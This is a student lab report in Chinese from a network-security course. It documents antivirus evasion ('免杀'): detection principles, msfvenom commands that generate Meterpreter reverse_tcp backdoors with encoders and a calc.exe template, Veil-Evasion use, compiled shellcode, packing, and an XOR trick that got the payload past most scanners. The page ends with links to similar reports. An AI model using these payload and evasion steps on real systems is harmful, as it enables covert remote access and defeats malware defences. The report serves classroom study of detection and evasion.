20155339 Exp3 免杀原理与实践
20155339 Exp3 免杀原理与实践
基础问题
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代码,当一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)。
- 启发式恶意软件检测(很简单,就是根据些片面特征去推断,也就是进行检测,当某个软件或者程序想干一些看起来像是恶意软件干的事情,那么机会被定义为恶意软件,检测效果比较显著,可以检测0-day恶意软件,但通常是因为缺乏精确判定依据,并且因为需要一直检测,所以开销比较大)。
- 基于行为的恶意软件检测(在启发式上加入了行为监控,基于动态的监控)。
(2)免杀是做什么?
免杀,从字面进行理解,避免被杀毒软件kill,也就是恶意代码要能够不被杀毒软件发现进入并驻足于系统。
(3)免杀的基本方法有哪些?
- 改变特征码,如:对EXE进行加壳(压缩壳、加密壳);对shellcode(像Meterpreter用encode进行编码或者基于payload重新编译生成可执行文件;源代码,用其他语言进行重写再编译(veil-evasion)。
- 改变行为,有通讯方式和操作模式两种方法。
- 通讯方式包括尽量使用反弹式连接、使用隧道技术、加密通讯数据。
- 操作模式包括基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件。
实践总结与体会
基于上一次实验的基础完成了这次的实验,这两次的实验很有趣,上次的实验为了让自己完成任务或者说为了让自己开心开心,还需要假装没有杀毒软件,关闭或者在杀毒软件中把我们的后门手动添加信任,然而这次的实验,很明显,自己高端了一些,不用关闭杀软也可以攻击自己了,可是与此同时更深的恐惧也就袭来,完全太可怕了,竟然自己都能攻击得了自己,要是真正的专业人士想攻击,岂不易如反掌!除此之外,发现瑞星这个杀毒软件有点强,除此之外,发现查杀与编译的语言也貌似有些关系,用C语言编译的后门比C++编译的后门更容易被查杀,还有360查杀貌似更基于行为进行检测,而电脑管家感觉基本就是基于特征库进行查杀。
离实战还缺些什么技术或步骤?
在本次试验中,我尝试了利用Windows下的计算器程序作为可执行文件的模板来生成payload,但是事实上,并没有所少人会下载这个计算器吧。所以或许需要一个更好的比如像微信安装包这样的可执行模板并且保留其原有的功能,那应该就很厉害吧。
实践过程记录
Virscan测试后门
由于这次实验我选择的病毒扫描引擎是Virscan,所以在此先对上次实验产生的后门进行一个测试,我选择的是Virscan,还是比较好用,唯一的bug就是文件名字一旦包括数字就会说包含广告?所以需要对上次的后门重命名一次,结果直接上图吧:


的确上次试验一拷到主机就被查杀了!
使用msf编码器
在这里先贴出一些学习了的相关知识点:
一些重要的msfvenom命令行选项如下:
-p,指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定。
-f,指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e,指定需要使用的encoder(编码器)
-a,指定payload的目标架构,指定payload的目标平台
-b,设定规避字符集,比如: '\x00\xff'
-i,指定payload的编码次数
-x,指定一个自定义的可执行文件作为模板
注意:
- **生成payload,有两个必须的选项:-p -f **
- 如果你使用了-b选项(设定了规避字符集),会自动调用编码器。
msf编码训练
- 由于上次实验生成的后门非常容易被查杀,所以这次进行了一定的学习后发现使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload,想着会不会更不容易被查杀,因此进行以calc.exe为执行模板编码一次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.224.136 LPORT=5339 -x calc.exe -f exe > met-encoded.exe



- 使用-i选项进行多次编码。因为在某些情况下,迭代编码可以起到规避杀毒软件的作用:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.224.136 LPORT=5339 -x calc.exe -f exe > met-encoded.exe


查杀率依旧很高。因为shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这些就可以了。
Veil-Evasion
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装,需要我们自己安装,只是安装过程路漫漫其修远兮~
安装完成之后,在Kali的终端输入
veil进入Veil,输入list。

输入
use 1,选择Evasion。

list payloads之后选择自己想要的语言,比如我第一次尝试的是powershell,所以键入use 21。



设置IP这只端口,然后
generate。

出现下图所示,其中记下生成的文件存储的路径。

可是此处可以看到我的.bat脚本生成失败。多次尝试仍是如此,发现很多同学也是,很多语言的脚本无法生成,因此再次尝试Python,同样的步骤,直到下一步。

选择1。
- 依旧出错,好像之前安装Python的时候出错了,由于安装这个实在需要太多时间,所以还是去尝试其他语言了。
- 再次以同样的步骤,选择C,终于成功。

一拷到我的windows就不行了

加入信任,放到网站上扫描下,然后开始回连,回连成功


C语言调用Shellcode
生成一个c语言格式的Shellcode数组:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.224.136 LPORT=5339 -f cLinux平台交叉编译Windows应用:
i686-w64-mingw32-g++ met.c -o met.exe生成met.exe。

但是拷到Windows中就会提示失败。

用VS编译生成了一个exe,放到网上扫描一下,一拖过去就被查杀了,添加信任,回连,成功。


VisualStudio
安装VisualStudio,也花费了我的很长时间,到官网下载,需要选择的没什么,只是需要网和等待,其中下图中需要进行如下选择。

在VisualStudio 2017中建项目可以参照点击此处。
对生成的shellcode进行编译,生成exe文件。

一编译就被查杀了。

扫描并回连


加壳


加壳了之后更严重了。
组合实现免杀
尝试了很多方法:
对shellcode写成的c代码加壳:

对veil选择c生成的脚本加壳,没有被电脑管家查出,但是一运行就被360kill了。

还尝试了几种没能记录,最后看修改代码,尝试对原shellcode异或0x39,然后在代码中再异或回去,因为这样就可能降低其通过特征库查杀的概率,终于可以和杀软共存实现免杀,放到virscan上也只有2%的报毒率。




20155339 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- python学习笔记之——操作mysql数据库
Python 标准数据库接口为 Python DB-API,Python DB-API为开发人员提供了数据库应用编程接口. Python 数据库接口支持非常多的数据库,你可以选择适合你项目的数据库: ...
- Android Studio支持Java1.8的解决方案
Java1.8新添了一些特性,比如对lambda表达式的支持,父类推断等等,这篇文章讲述了1.8的新特性,有兴趣的同学可以点进去看看.但是由于AndroidStudio并不能直接支持Java1.8,我 ...
- eclipse代码中每行的开始和结尾出现多余的特殊符号
window -> preferences -> general -> editors -> text editors -> show whitespa ...
- SQL Server中的高可用性(3)----复制 (转载)
在本系列文章的前两篇对高可用性的意义和单实例下的高可用性做了阐述.但是当随着数据量的增长,以及对RTO和RPO要求的严格,单实例已经无法满足HA/DR方面的要求,因此需要做多实例的高可用性.本文着重对 ...
- 转:C#综合揭秘——细说多线程(下)
原文地址:http://www.cnblogs.com/leslies2/archive/2012/02/08/2320914.html 引言 本文主要从线程的基础用法,CLR线程池当中工作者线程与I ...
- Linux内核同步机制之completion【转】
Linux内核同步机制之completion 内核编程中常见的一种模式是,在当前线程之外初始化某个活动,然后等待该活动的结束.这个活动可能是,创建一个新的内核线程或者新的用户空间进程.对一个已有进程的 ...
- 深度访谈Amazon员工与HR:华裔因pip跳楼背后(图)
http://www.wenxuecity.com/news/2016/12/01/5813342.html 首先,让我们来回顾一下这起事件.两天前在某论坛中,有同学发了这么一个帖子,大致意思是说有一 ...
- 解决Win10无法安装.Net Framework 3.5,错误代码0x800F081F
重新安装了一遍Win10,但是不知怎的无法安装.net framework 3.5,即便是下载离线安装包也没法用. 网上有人说需要使用win10的ISO文件,个人感觉太麻烦,在这里分享一个很方便的操作 ...
- Sublime2 DocBlocker插件在自动补全注释时输出自定义作者和当前时间等信息
Sublime在进行前端开发时非常棒,当然也少不了众多的插件支持,DocBlocker是在Sublime平台上开发一款自动补全代码插件,支持JavaScript (including ES6), PH ...
- vue问题总结
1.通过判断绑定class及点击事件总结<a :class='[item.status=="yes" ? `btn-primary` : `btn-danger`]' :ti ...